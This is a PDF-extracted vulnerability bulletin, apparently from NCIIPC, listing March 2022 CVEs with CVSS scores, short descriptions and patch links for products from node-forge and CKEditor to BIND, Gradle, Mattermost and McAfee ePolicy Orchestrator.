Improper Verification of Cryptographic Signature	18-Mar-22	7.5	Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.3.0, RSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a `DigestInfo` ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used. The issue has been addressed in `node-forge` version	https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1, https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2, https://github.com/digitalbazaar/forge/security/advisories/GHSA-x4jg-mjrx-434g	A-DIG-FORG-070422/69

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			1.3.0. There are currently no known workarounds. **CVE ID : CVE-2022-24772**		
Improper Verification of Cryptographic Signature	18-Mar-22	5.3	Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.3.0, RSA PKCS#1 v1.5 signature verification code does not properly check `DigestInfo` for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest. The issue has been addressed in `node-forge` version 1.3.0. There are currently no known workarounds. **CVE ID : CVE-2022-24773**	https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1, https://github.com/digitalbazaar/forge/security/advisories/GHSA-2r2c-g63r-vccr, https://github.com/digitalbazaar/forge/commit/bb822c02df0b61211836472e29b9790cc541cdb2	A-DIG-FORG-070422/70
Vendor: douphp					
Product: douphp					
Improper Neutralization of Input During Web Page Generation	25-Mar-22	4.8	A stored cross-site scripting (XSS) vulnerability in the upload function of /admin/show.php allows attackers to execute arbitrary	http://douphp.com	A-DOU-DOUP-070422/71

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			web scripts or HTML via a crafted image file. **CVE ID : CVE-2022-25574**		
Vendor: Drupal					
Product: drupal					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Mar-22	5.4	CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. A vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4 prior to version 4.18.0. The vulnerability allows someone to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. This problem has been patched in version 4.18.0. There are currently no known workarounds. **CVE ID : CVE-2022-24728**	https://ckeditor.com/cke4/release/CKEditor-4.18.0, https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-4fc4-4p5g-6w89, https://github.com/ckeditor/ckeditor4/commit/d158413449692d920a778503502dcb22881bc949	A-DRU-DRUP-070422/72
N/A	16-Mar-22	7.5	CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. CKEditor4 prior to version 4.18.0 contains a vulnerability in the	https://ckeditor.com/cke4/release/CKEditor-4.18.0, https://github.com/ckeditor/ckeditor4/security/advisories/G	A-DRU-DRUP-070422/73

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			`dialog` plugin. The vulnerability allows abuse of a dialog input validator regular expression, which can cause a significant performance drop resulting in a browser tab freeze. A patch is available in version 4.18.0. There are currently no known workarounds. **CVE ID : CVE-2022-24729**	HSA-f6rf-9m92-x2hh, https://www.drupal.org/sa-core-2022-005	
Improper Input Validation	21-Mar-22	7.5	guzzlehttp/psr7 is a PSR-7 HTTP message library. Versions prior to 1.8.4 and 2.1.1 are vulnerable to improper header parsing. An attacker could sneak in a new line character and pass untrusted values. The issue is patched in 1.8.4 and 2.1.1. There are currently no known workarounds. **CVE ID : CVE-2022-24775**	https://github.com/guzzle/psr7/security/advisories/GHSA-q7rv-6hp3-vh96, https://github.com/guzzle/psr7/pull/485/commits/e55afaa3fc138c89adf3b55a8ba20dc60d17f1f1, https://github.com/guzzle/psr7/pull/486/commits/9a96d9db668b485361ed9de7b5bf1e54895df1dc	A-DRU-DRUP-070422/74
Vendor: elbtide					
Product: advanced_booking_calendar					
Improper Neutralization of	21-Mar-22	9.8	The Advanced Booking Calendar WordPress plugin	https://plugins.trac.wordpress.	A-ELB-ADVA-070422/75

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Special Elements used in an SQL Command ('SQL Injection')			before 1.7.0 does not validate and escape the calendar parameter before using it in a SQL statement via the abc_booking_getSinglеCalendar AJAX action (available to both unauthenticated and authenticated users), leading to an unauthenticated SQL injection **CVE ID : CVE-2022-0694**	org/changeset/2682086	
Vendor: eosio_project					
Product: eos					
Out-of-bounds Write	17-Mar-22	7.5	EOS v2.1.0 was discovered to contain a heap-buffer-overflow via the function txn_test_gen_plugin. **CVE ID : CVE-2022-26300**	N/A	A-EOS-EOS-070422/76
Vendor: eova					
Product: eova					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	20-Mar-22	5.4	A stored cross-site scripting (XSS) vulnerability in the Add a Button function of Eova v1.6.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the	N/A	A-EOV-EOVA-070422/77

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			button name text box. **CVE ID : CVE-2022-26555**		
Vendor: expresstech					
Product: responsive_menu					
Unrestricted Upload of File with Dangerous Type	18-Mar-22	8.8	Nonce token leak vulnerability leading to arbitrary file upload, theme deletion, plugin settings change discovered in Responsive Menu WordPress plugin (versions <= 4.1.7). **CVE ID : CVE-2022-25602**	https://patchstack.com/database/vulnerability/responsive-menu/wordpress-responsive-menu-plugin-4-1-7-nonce-token-leak-leading-to-arbitrary-file-upload-theme-deletion-plugin-settings-change-vulnerability	A-EXP-RESP-070422/78
Vendor: eyoucms					
Product: eyoucms					
Incorrect Authorization	24-Mar-22	9.8	EyouCMS v1.5.5 was discovered to have no access control in the component /data/sqldata. **CVE ID : CVE-2022-26279**	https://www.eyoucms.com/rizhi/	A-EYO-EYOU-070422/79
Vendor: fasthttp_project					
Product: fasthttp					
Improper Limitation of a Pathname to a Restricted Directory	17-Mar-22	7.5	The package github.com/valyala/fasthttp before 1.34.0 are vulnerable to Directory Traversal via the ServeFile function, due to	https://github.com/valyala/fasthttp/commit/15262ecf3c602364639d465daba1e7f3604d00e8,	A-FAS-FAST-070422/80

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Path Traversal')			improper sanitization. It is possible to be exploited by using a backslash %5c character in the path. **Note:** This security issue impacts Windows users only. **CVE ID : CVE-2022-21221**	https://github.com/valyala/fasthttp/issues/1226, https://github.com/valyala/fasthttp/commit/6b5bc7bb304975147b4af68df54ac214ed2554c1	
Vendor: Fedoraproject					
Product: extra_packages_for_enterprise_linux					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	25-Mar-22	8.8	An SQL injection risk was identified in Badges code relating to configuring criteria. Access to the relevant capability was limited to teachers and managers by default. **CVE ID : CVE-2022-0983**	N/A	A-FED-EXTR-070422/81
Vendor: fisco-bcos					
Product: fisco-bcos					
N/A	17-Mar-22	7.5	FISCO-BCOS release-3.0.0-rc2 was discovered to contain an issue where a malicious node, via a malicious viewchange packet, will cause normal nodes to change view excessively and stop generating blocks. **CVE ID : CVE-2022-26534**	N/A	A-FIS-FISC-070422/82

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: Foliovision					
Product: fv_flowplayer_video_player					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	18-Mar-22	7.2	Authenticated (author or higher user role) SQL Injection (SQLi) vulnerability discovered in FV Flowplayer Video Player WordPress plugin (versions <= 7.5.15.727). **CVE ID : CVE-2022-25607**	https://patchstack.com/database/vulnerability/fv-wordpress-flowplayer/wordpress-fv-flowplayer-video-player-plugin-7-5-15-727-sql-injection-sqli-vulnerability, https://wordpress.org/plugins/fv-wordpress-flowplayer/#developers	A-FOL-FV_F-070422/83
Vendor: Fork-cms					
Product: fork_cms					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Mar-22	5.4	Cross-site Scripting (XSS) - Stored in GitHub repository forkcms/forkcms prior to 5.11.1. **CVE ID : CVE-2022-0145**	https://github.com/forkcms/forkcms/commit/981730f1a3d59b423ca903b1f4bf79b848a1766e, https://huntr.dev/bounties/b5b8c680-3cd9-4477-bcd9-3a29657ba7ba	A-FOR-FORK-070422/84
Improper Neutralization of Special Elements used in an SQL Command	24-Mar-22	7.5	SQL Injection in GitHub repository forkcms/forkcms prior to 5.11.1. **CVE ID : CVE-2022-0153**	https://github.com/forkcms/forkcms/commit/7a12046a67ae5d8cf04face3ee75e55f03a1a608, https://huntr.dev/bounties/841503dd-311c-	A-FOR-FORK-070422/85

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('SQL Injection')				470a-a8ec-d4579b3274eb	
Vendor: fromsoftware					
Product: dark_souls_iii					
Incorrect Permission Assignment for Critical Resource	20-Mar-22	8.8	The matchmaking servers of Bandai Namco FromSoftware Dark Souls III through 2022-03-19 allow remote attackers to send arbitrary push requests to clients via a RequestSendMessageToPlayers request. For example, ability to send a push message to hundreds of thousands of machines is only restricted on the client side, and can thus be bypassed with a modified client. **CVE ID : CVE-2022-24125**	N/A	A-FRO-DARK-070422/86
Out-of-bounds Write	20-Mar-22	9.8	A buffer overflow in the NRSessionSearchResult parser in Bandai Namco FromSoftware Dark Souls III through 2022-03-19 allows remote attackers to execute arbitrary code via matchmaking servers, a different	N/A	A-FRO-DARK-070422/87

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability than CVE-2021-34170. **CVE ID : CVE-2022-24126**		
Vendor: gitea					
Product: gitea					
URL Redirection to Untrusted Site ('Open Redirect')	24-Mar-22	6.1	Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. **CVE ID : CVE-2022-1058**	https://github.com/go-gitea/gitea/commit/e3d8e92bdc67562783de9a76b5b7842b68daeb48, https://huntr.dev/bounties/4fb42144-ac70-4f76-a5e1-ef6b5e55dc0d	A-GIT-GITE-070422/88
Vendor: glewlwyd_sso_server_project					
Product: glewlwyd_sso_server					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	9.8	scheme/webauthn.c in Glewlwyd SSO server 2.x before 2.6.2 has a buffer overflow associated with a webauthn assertion. **CVE ID : CVE-2022-27240**	https://github.com/babelouest/glewlwyd/commit/4c5597c155bfbaf6491cf6b83479d241ae66940a	A-GLE-GLEW-070422/89
Vendor: Gnome					
Product: ocrfeeder					
Improper Neutralization of Special Elements used in an OS Command ('OS	24-Mar-22	9.8	GNOME OCRFeeder before 0.8.4 allows OS command injection via shell metacharacters in a PDF or image filename. **CVE ID : CVE-2022-27811**	N/A	A-GNO-OCRF-070422/90

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command Injection')					
Vendor: GNU					
Product: gcc					
Uncontrolled Resource Consumption	26-Mar-22	5.5	libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new. **CVE ID : CVE-2022-27943**	https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105039	A-GNU-GCC-070422/91
Vendor: gogs					
Product: gogs					
Unrestricted Upload of File with Dangerous Type	21-Mar-22	8.8	Remote Command Execution in uploading repository file in GitHub repository gogs/gogs prior to 0.12.6. **CVE ID : CVE-2022-0415**	https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284, https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902	A-GOG-GOGS-070422/92
Vendor: Golang					
Product: go					
Use of a Broken or Risky Cryptographic Algorithm	18-Mar-22	7.5	golang.org/x/crypto/ssh before 0.0.0-20220314234659-1baeb1ce4c0b in Go through 1.16.15 and 1.17.x through 1.17.8 allows an attacker to crash a server in certain circumstances involving AddHostKey.	https://groups.google.com/g/golang-announce/c/-cp44ypCT5s	A-GOL-GO-070422/93

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-27191		
Vendor: gpac					
Product: gpac					
N/A	21-Mar-22	5.5	Segmentation Fault caused by MP4Box -lsr in GitHub repository gpac/gpac prior to 2.1.0-DEV. **CVE ID : CVE-2022-1035**	https://huntr.dev/bounties/851942a4-1d64-4553-8fdc-9fccd167864b, https://github.com/gpac/gpac/commit/3718d583c6ade191dc7979c64f48c001ca6f0243	A-GPA-GPAC-070422/94
Vendor: gradio_project					
Product: gradio					
Improper Neutralization of Formula Elements in a CSV File	17-Mar-22	8.8	`gradio` is an open source framework for building interactive machine learning models and demos. Prior to version 2.8.11, `gradio` suffers from Improper Neutralization of Formula Elements in a CSV File. The `gradio` library has a flagging functionality which saves input/output data into a CSV file on the developer's computer. This can allow a user to save arbitrary text into the CSV file, such as commands. If a program like MS Excel opens such a	https://github.com/gradio-app/gradio/security/advisories/GHSA-f8xq-q7px-wg8c, https://github.com/gradio-app/gradio/pull/817, https://github.com/gradio-app/gradio/commit/80fea89117358ee105973453fdc402398ae20239	A-GRA-GRAD-070422/95

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			file, then it automatically runs these commands, which could lead to arbitrary commands running on the user's computer. The problem has been patched as of `2.8.11`, which escapes the saved csv with single quotes. As a workaround, avoid opening csv files generated by `gradio` with Excel or similar spreadsheet programs. **CVE ID : CVE-2022-24770**		
Vendor: Gradle					
Product: enterprise					
Missing Encryption of Sensitive Data	16-Mar-22	6.5	Gradle Enterprise before 2021.4.3 relies on cleartext data transmission in some situations. It uses Keycloak for identity management services. During the sign-in process, Keycloak sets browser cookies that effectively provide remember-me functionality. For backwards compatibility with older Safari versions, Keycloak sets a	https://security.gradle.com/advisory/2022-03	A-GRA-ENTE-070422/96

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			duplicate of the cookie without the Secure attribute, which allows the cookie to be sent when accessing the location that cookie is set for via HTTP. This creates the potential for an attacker (with the ability to impersonate the Gradle Enterprise host) to capture the login session of a user by having them click an http:// link to the server, despite the real server requiring HTTPS. **CVE ID : CVE-2022-27225**		
Exposure of Resource to Wrong Sphere	25-Mar-22	9.8	Gradle Enterprise before 2022.1 allows remote code execution if the installation process did not specify an initial configuration file. The configuration allows certain anonymous access to administration and an API. **CVE ID : CVE-2022-27919**	https://security.gradle.com/advisory/2022-05	A-GRA-ENTE-070422/97
Product: gradle					
Incorrect Authorization	17-Mar-22	8.1	In Gradle Enterprise before 2021.4.2, the default built-in build	https://security.gradle.com/advisory/2022-02,	A-GRA-GRAD-070422/98

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cache configuration allowed anonymous write access. If this was not manually changed, a malicious actor with network access to the build cache could potentially populate it with manipulated entries that execute malicious code as part of a build. As of 2021.4.2, the built-in build cache is inaccessible-by-default, requiring explicit configuration of its access-control settings before it can be used. (Remote build cache nodes are unaffected as they are inaccessible-by-default.) **CVE ID : CVE-2022-25364**	https://security.gradle.com	
Vendor: grafana					
Product: grafana					
Cleartext Storage of Sensitive Information	21-Mar-22	9.8	An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the	N/A	A-GRA-GRAF-070422/99

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. **CVE ID : CVE-2022-26148**		
Vendor: guzzlephp					
Product: psr-7					
Improper Input Validation	21-Mar-22	7.5	guzzlehttp/psr7 is a PSR-7 HTTP message library. Versions prior to 1.8.4 and 2.1.1 are vulnerable to improper header parsing. An attacker could sneak in a new line character and pass untrusted values. The issue is patched in 1.8.4 and 2.1.1. There are currently no known workarounds. **CVE ID : CVE-2022-24775**	https://github.com/guzzle/psr7/security/advisories/GHSA-q7rv-6hp3-vh96, https://github.com/guzzle/psr7/pull/485/commits/e55afaa3fc138c89adf3b55a8ba20dc60d17f1f1, https://github.com/guzzle/psr7/pull/486/commits/9a96d9db668b485361ed9de7b5bf1e54895df1dc	A-GUZ-PSR--070422/100
Vendor: Haxx					
Product: curl					
N/A	18-Mar-22	9.8	Multiple issues were addressed by updating to curl version 7.79.1. This issue is fixed in macOS Monterey	https://support.apple.com/en-us/HT213183	A-HAX-CURL-070422/101

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			12.3. Multiple issues in curl. **CVE ID : CVE-2022-22623**		
Vendor: hestiacp					
Product: control_panel					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Mar-22	6.1	Reflected Cross-site Scripting (XSS) Vulnerability in GitHub repository hestiacp/hestiacp prior to 1.5.11. **CVE ID : CVE-2022-0986**	https://github.com/hestiacp/hestiacp/commit/fd42196718a6fa7fe17b37fab0933d3cbcb3db0d, https://huntr.dev/bounties/57635c78-303f-412f-b75a-623df9fa9edd	A-HES-CONT-070422/102
Vendor: hexoeditor_project					
Product: hexoeditor					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	6.1	HexoEditor 1.1.8 is affected by Cross Site Scripting (XSS). By putting a common XSS payload in a markdown file, if opened with the app, will execute several times. **CVE ID : CVE-2022-24656**	N/A	A-HEX-HEXO-070422/103
Vendor: hongmen					
Product: parking_management_system					
Improper Neutralization of Input During Web Page Generation	24-Mar-22	6.1	Multiple cross-site scripting (XSS) vulnerabilities in Parking Management System v1.0 allows attackers to execute arbitrary web scripts	N/A	A-HON-PARK-070422/104

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			or HTML via crafted payloads injected into the user name, password, and verification code text boxes. **CVE ID : CVE-2022-25575**		
Vendor: html-js					
Product: doracms					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	20-Mar-22	4.8	A stored cross-site scripting (XSS) vulnerability in the component /admin/contenttemp of DoraCMS v2.1.8 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. **CVE ID : CVE-2022-25464**	N/A	A-HTM-DORA-070422/105
Vendor: IBM					
Product: mq_appliance					
N/A	23-Mar-22	6.5	IBM MQ Appliance 9.2 CD and 9.2 LTS could allow an authenticated and authorized user to cause a denial of service due to incorrectly configured authorization checks. IBM X-Force ID: 218276. **CVE ID : CVE-2022-22316**	https://exchange.xforce.ibmcloud.com/vulnerabilities/218276, https://www.ibm.com/support/pages/node/6560040	A-IBM-MQ_A-070422/106
Product: spectrum_protect					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Privilege Management	21-Mar-22	8.8	The IBM Spectrum Protect 8.1.14.000 server could allow a remote attacker to bypass security restrictions, caused by improper enforcement of access controls. By signing in, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrator or node access to the vulnerable server. **CVE ID : CVE-2022-22394**	https://exchange.xforce.ibmcloud.com/vulnerabilities/222147, https://www.ibm.com/support/pages/node/6564745	A-IBM-SPEC-070422/107
Vendor: idccms_project					
Product: idccms					
Missing Authorization	21-Mar-22	7.5	idcCMS v1.10 was discovered to contain an issue which allows attackers to arbitrarily delete the install.lock file, resulting in a reset of the CMS settings and data. **CVE ID : CVE-2022-27333**	N/A	A-IDC-IDCC-070422/108
Vendor: Ionizecms					
Product: ionize					
Improper Control of Generation of Code	24-Mar-22	9.8	A remote code execution (RCE) vulnerability in Ionize v1.0.8.1 allows attackers to	N/A	A-ION-IONI-070422/109

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Code Injection')			execute arbitrary code via a crafted string written to the file application/config/config.php. **CVE ID : CVE-2022-26272**		
Vendor: ISC					
Product: bind					
Improper Resource Shutdown or Release	23-Mar-22	5.3	BIND 9.16.11 -> 9.16.26, 9.17.0 -> 9.18.0 and versions 9.16.11-S1 -> 9.16.26-S1 of the BIND Supported Preview Edition. Specifically crafted TCP streams can cause connections to BIND to remain in CLOSE_WAIT status for an indefinite period of time, even after the client has terminated the connection. **CVE ID : CVE-2022-0396**	https://kb.isc.org/v1/docs/cve-2022-0396	A-ISC-BIND-070422/110
Reachable Assertion	23-Mar-22	7.5	Versions affected: BIND 9.18.0 When a vulnerable version of named receives a series of specific queries, the named process will eventually terminate due to a failed assertion check. **CVE ID : CVE-2022-0635**	https://kb.isc.org/v1/docs/cve-2022-0635	A-ISC-BIND-070422/111

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Reachable Assertion	22-Mar-22	7.5	When the vulnerability is triggered the BIND process will exit. BIND 9.18.0 **CVE ID : CVE-2022-0667**	https://kb.isc.org/v1/docs/cve-2022-0667	A-ISC-BIND-070422/112
Vendor: joget					
Product: joget_dx					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	5.4	Joget DX 7 was discovered to contain a cross-site scripting (XSS) vulnerability via the Datalist table. **CVE ID : CVE-2022-26197**	http://joget.com	A-JOG-JOGE-070422/113
Vendor: Kingsoft					
Product: internet_security_9_plus					
Out-of-bounds Write	17-Mar-22	7.8	The kernel mode driver kwatch3 of KINGSOFT Internet Security 9 Plus Version 2010.06.23.247 fails to properly handle crafted inputs, leading to stack-based buffer overflow. **CVE ID : CVE-2022-25949**	https://support.kingsoft.jp/support-info/weakness.html	A-KIN-INTE-070422/114
Product: wps_office					
Uncontrolled Search Path Element	17-Mar-22	7.8	The installer of WPS Office Version 10.8.0.6186 insecurely load VERSION.DLL (or some other DLLs), allowing an attacker	https://support.kingsoft.jp/support-info/weakness.html	A-KIN-WPS_-070422/115

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to execute arbitrary code with the privilege of the user invoking the installer. **CVE ID : CVE-2022-25969**		
Uncontrolled Search Path Element	17-Mar-22	7.8	The installer of WPS Office Version 10.8.0.5745 insecurely load shcore.dll, allowing an attacker to execute arbitrary code with the privilege of the user invoking the installer. **CVE ID : CVE-2022-26081**	https://support.kingsoft.jp/support-info/weakness.html	A-KIN-WPS_-070422/116
Product: wps_presentation					
Uncontrolled Search Path Element	17-Mar-22	7.8	WPS Presentation 11.8.0.5745 insecurely load d3dx9_41.dll when opening .pps files('current directory type' DLL loading). **CVE ID : CVE-2022-26511**	https://support.kingsoft.jp/support-info/weakness.html	A-KIN-WPS_-070422/117
Vendor: Kubernetes					
Product: cri-o					
Improper Control of Generation of Code ('Code Injection')	16-Mar-22	8.8	A flaw was found in CRI-O in the way it set kernel options for a pod. This issue allows anyone with rights to deploy a pod on a Kubernetes cluster that uses the	N/A	A-KUB-CRI--070422/118

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CRI-O runtime to achieve a container escape and arbitrary code execution as root on the cluster node, where the malicious pod was deployed. **CVE ID : CVE-2022-0811**		
Vendor: libnested_project					
Product: libnested					
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	17-Mar-22	9.8	The package libnested before 1.5.2 are vulnerable to Prototype Pollution via the set function in index.js. **Note:** This vulnerability derives from an incomplete fix for [CVE-2020-28283](https://security.snyk.io/vuln/SNYK-JS-LIBNESTED-1054930) **CVE ID : CVE-2022-25352**	https://github.com/dominictarr/libnested/commit/c1129865d75fbe52b5a4f755ad3110ca5420f2e1, https://snyk.io/vuln/SNYK-JS-LIBNESTED-2342117	A-LIB-LIBN-070422/119
Vendor: libsixel_project					
Product: libsixel					
Reachable Assertion	26-Mar-22	5.5	stb_image.h (aka the stb image loader) 2.19, as used in libsixel and other products, has a reachable assertion in stbi__create_png_image_raw. **CVE ID : CVE-2022-27938**	https://github.com/saitoha/libsixel/issues/163	A-LIB-LIBS-070422/120

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: Linux					
Product: linux_kernel					
Missing Release of Memory after Effective Lifetime	18-Mar-22	7.5	Memory leak in icmp6 implementation in Linux Kernel 5.13+ allows a remote attacker to DoS a host by making it go out-of-memory via icmp6 packets of type 130 or 131. We recommend upgrading past commit 2d3916f3189172d5c69d33065c3c21119fe539fc. **CVE ID : CVE-2022-0742**	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2d3916f3189172d5c69d33065c3c21119fe539fc	A-LIN-LINU-070422/121
Vendor: maccms					
Product: maccms					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	6.1	Maccms v10 was discovered to contain multiple reflected cross-site scripting (XSS) vulnerabilities in /admin.php/admin/art/data.html via the select and input parameters. **CVE ID : CVE-2022-26573**	N/A	A-MAC-MACC-070422/122
Improper Neutralization of Input During Web Page Generation	25-Mar-22	6.1	Maccms v10 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in /admin.php/admin/	N/A	A-MAC-MACC-070422/123

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			plog/index.html via the wd parameter. **CVE ID : CVE-2022-27884**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	6.1	Maccms v10 was discovered to contain multiple reflected cross-site scripting (XSS) vulnerabilities in /admin.php/admin/website/data.html via the select and input parameters. **CVE ID : CVE-2022-27885**	N/A	A-MAC-MACC-070422/124
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	6.1	Maccms v10 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in /admin.php/admin/ulog/index.html via the wd parameter. **CVE ID : CVE-2022-27886**	N/A	A-MAC-MACC-070422/125
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	6.1	Maccms v10 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in /admin.php/admin/vod/data.html via the repeat parameter. **CVE ID : CVE-2022-27887**	N/A	A-MAC-MACC-070422/126
Vendor: mattermost					
Product: mattermost					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Mar-22	5.4	Mattermost 6.3.0 and earlier fails to properly sanitize the HTML content in the email invitation sent to guest users, which allows registered users with special permissions to invite guest users to inject unescaped HTML content in the email invitations. **CVE ID : CVE-2022-1002**	https://mattermost.com/security-updates/	A-MAT-MATT-070422/127
Improper Privilege Management	18-Mar-22	4.9	One of the API in Mattermost version 6.3.0 and earlier fails to properly protect the permissions, which allows the system administrators to combine the two distinct privileges/capabilities in a way that allows them to override certain restricted configurations like EnableUploads. **CVE ID : CVE-2022-1003**	https://mattermost.com/security-updates/	A-MAT-MATT-070422/128
Vendor: Maxfoundry					
Product: maxgalleria					
Improper Neutralization of Input During Web Page	18-Mar-22	4.8	Authenticated (author or higher user role) Stored Cross-Site Scripting (XSS) vulnerability discovered in	https://patchstack.com/database/vulnerability/maxgalleria/wordpress-maxgalleria-	A-MAX-MAXG-070422/129

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			MaxGalleria WordPress plugin (versions 6.2.5). **CVE ID : CVE-2022-25603**	plugin-6-2-5-stored-cross-site-scripting-xss-vulnerability, https://wordpress.org/plugins/maxgalleria/	
Vendor: Mcafee					
Product: epolicy_orchestrator					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	23-Mar-22	4.9	A blind SQL injection vulnerability in McAfee Enterprise ePolicy Orchestrator (ePO) prior to 5.10 Update 13 allows a remote authenticated attacker to potentially obtain information from the ePO database. The data obtained is dependent on the privileges the attacker has and to obtain sensitive data the attacker would require administrator privileges. **CVE ID : CVE-2022-0842**	https://kc.mcafee.com/corporate/index?page=content&id=SB10379	A-MCA-EPOL-070422/130
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Mar-22	6.1	A reflected cross-site scripting (XSS) vulnerability in McAfee Enterprise ePolicy Orchestrator (ePO) prior to 5.10 Update 13 allows a remote attacker to potentially obtain	https://kc.mcafee.com/corporate/index?page=content&id=SB10379	A-MCA-EPOL-070422/131

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access to an ePO administrator's session by convincing the attacker to click on a carefully crafted link. This would lead to limited access to sensitive information and limited ability to alter some information in ePO due to the area of the User Interface the vulnerability is present in. **CVE ID : CVE-2022-0857**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Mar-22	6.1	A cross-site scripting (XSS) vulnerability in McAfee Enterprise ePolicy Orchestrator (ePO) prior to 5.10 Update 13 allows a remote attacker to potentially obtain access to an ePO administrator's session by convincing the attacker to click on a carefully crafted link. This would lead to limited ability to alter some information in ePO due to the area of the User Interface the vulnerability is present in. **CVE ID : CVE-2022-0858**	https://kc.mcafee.com/corporate/index?page=content&id=SB10379	A-MCA-EPOL-070422/132

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Insufficiently Protected Credentials	23-Mar-22	6.4	McAfee Enterprise ePolicy Orchestrator (ePO) prior to 5.10 Update 13 allows a local attacker to point an ePO server to an arbitrary SQL server during the restoration of the ePO server. To achieve this the attacker would have to be logged onto the server hosting the ePO server (restricted to administrators) and to know the SQL server password. **CVE ID : CVE-2022-0859**	https://kc.mcafee.com/corporate/index?page=content&id=SB10379	A-MCA-EPOL-070422/133
